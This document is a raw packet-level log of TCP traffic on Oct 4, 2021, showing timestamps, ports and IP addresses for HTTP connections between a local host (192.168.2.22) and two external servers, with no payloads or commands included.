Oct 4, 2021 17:00:20.530457973 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530474901 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530482054 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530508041 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530518055 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530534029 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530551910 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530576944 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530576944 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530601025 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530620098 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530627012 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530647039 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530651093 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530673981 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530673981 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530697107 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530719995 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530740976 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530741930 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530776978 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530782938 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530806065 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530822992 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530827999 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530849934 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530850887 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530874968 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530883074 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530898094 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530910969 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530921936 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530945063 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.530949116 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.530992031 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.532427073 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.552845955 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.552911043 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.732475996 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732517958 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732542038 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732564926 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732589006 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732610941 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732633114 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732642889 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.732656956 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732664108 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.732667923 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.732671976 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.732678890 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732705116 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732726097 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.732728004 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732733011 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.732737064 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.732753038 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732770920 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.732775927 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732790947 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.732798100 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732801914 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.732820034 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732832909 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.732841969 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732855082 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.732861996 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.732863903 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732888937 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732897043 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.732913017 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.732927084 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.732944965 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.734781981 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.735023975 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.735059977 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.735085964 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.735104084 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.735105991 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.735136986 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.735143900 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.735215902 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.735245943 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.735263109 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.735266924 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.735274076 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.735290051 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.735307932 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.735313892 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.735316992 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.735337019 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.735349894 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.735362053 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.735368967 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.735387087 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.735403061 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.735410929 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.735419035 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.735435009 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.735443115 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.735457897 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.735465050 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.735481024 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.735491037 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.735503912 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.735511065 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.735526085 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.735546112 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.735558987 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.737833977 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.935477972 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935519934 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935544968 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935569048 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935590982 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935612917 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935631990 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935653925 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935668945 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.935676098 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935695887 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.935698986 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935699940 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.935717106 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.935724020 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935740948 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.935746908 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935761929 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.935770988 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935792923 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935796022 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.935816050 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935833931 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.935837030 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935853004 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.935859919 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935877085 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.935880899 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935894966 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.935906887 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935918093 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.935930967 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935939074 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.935951948 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935966015 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.935972929 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.935981989 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.935995102 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.936005116 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.936017036 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.936019897 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.936038971 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.936052084 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.936060905 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.936069012 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.936085939 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.936109066 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.936113119 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.936131954 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.936136007 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.936155081 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.936165094 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.936177015 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.936187029 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.936198950 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.936208010 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.936219931 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.936228037 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.936240911 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.936249971 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.936265945 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.936271906 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.936289072 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.936299086 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.936311960 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:20.936320066 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.936342955 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:20.937019110 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.117827892 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.118083954 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.137986898 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.138072968 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.138119936 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.138149023 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.138201952 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.138225079 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.138246059 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.138266087 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.138284922 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.139200926 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.139239073 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.139244080 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.139247894 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.139251947 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.143528938 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.143563986 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.143579960 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.143635988 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145207882 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145243883 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145262003 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145283937 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145304918 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145324945 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145347118 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145369053 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145387888 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145407915 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145427942 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145452976 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145474911 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145495892 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145519018 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145539999 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145560026 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145576954 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145596027 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145618916 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145639896 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145659924 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145679951 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145699978 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145720005 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145742893 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145765066 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145787954 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145809889 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145829916 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145850897 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.145870924 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:21.146481037 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146508932 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146512032 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146516085 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146518946 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146522045 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146524906 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146528006 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146531105 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146533966 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146538019 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146542072 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146544933 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146548033 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146550894 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146554947 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146557093 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146559954 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146564007 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146567106 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146569967 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146573067 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146575928 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146579027 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146580935 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146584034 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146588087 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146589994 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146593094 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.146595955 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:21.184465885 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.210057974 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.210175991 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.210845947 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.234707117 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.454144001 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.454184055 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.454200983 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.454217911 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.454240084 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.454257965 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.454274893 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.454292059 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.454314947 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.454413891 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.454468012 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.457823992 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.478272915 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.478312969 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.478334904 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.478357077 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.478379011 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.478399038 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.478420019 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.478441954 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.478458881 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.478462934 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.478485107 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.478506088 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.478527069 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.478528023 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.478547096 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.478548050 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.478568077 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.478571892 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.478610992 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.478768110 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.478812933 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.478867054 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.478888035 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.478909016 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.478925943 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.479881048 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.503921986 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.503963947 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.503985882 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504007101 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504030943 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504051924 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504067898 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504089117 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504107952 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504122019 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.504134893 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504152060 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504163980 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.504174948 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504194021 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504209042 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.504215956 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504228115 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.504239082 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504250050 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.504261017 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504271030 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.504282951 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504291058 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.504306078 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504318953 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.504328966 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504343987 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.504353046 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504369974 CEST	49166	80	192.168.2.22	5.196.247.11
